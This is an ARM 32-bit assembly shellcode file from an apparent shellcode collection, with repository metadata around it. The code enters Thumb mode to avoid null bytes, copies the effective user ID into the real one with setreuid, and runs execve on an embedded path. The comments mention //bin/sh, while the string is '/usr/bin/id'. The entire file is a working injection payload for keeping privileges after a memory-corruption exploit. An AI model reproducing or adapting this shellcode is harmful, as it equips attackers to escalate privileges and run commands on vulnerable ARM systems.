696
asm
Assembly
arm_32bit/execve_setreuid.asm
japkettu/shellcode
8341efa109dd7df83c51abdc5acdd65c391e6a60
[ "MIT" ]
null
null
null
arm_32bit/execve_setreuid.asm
japkettu/shellcode
8341efa109dd7df83c51abdc5acdd65c391e6a60
[ "MIT" ]
null
null
null
arm_32bit/execve_setreuid.asm
japkettu/shellcode
8341efa109dd7df83c51abdc5acdd65c391e6a60
[ "MIT" ]
null
null
null
.section .text .global _start _start: @ enter thumbmode (avoid null bytes) .code 32 add r6, pc, #1 bx r6 .code 16 @ uid_t geteuid(void) @ r7: 49 mov r7, #49 @ geteuid svc 1 @ execute syscall (no null bytes) @ int setreuid(uid_t ruid, uid_t euid) @ r0: r0 (geteuid return value) @ r1: r0 @ r7: 70 mov r1, r0 mov r7, #70 @ setreuid svc 1 @ execve(const char *filename, char *const argv[],char *const envp[]); @ r0: //bin/sh @ r1: //bin/sh @ r2: 0 @ r7: 11 (syscall number for execve) sub r2,r2,r2 mov r0, pc add r0, #8 @ 2 * intstructions before .ascii str r0, [sp, #4] add r1, sp, #4 mov r7, #11 @ execve svc 1 @ syscall .ascii "/usr/bin/id"
17.4
70
0.604885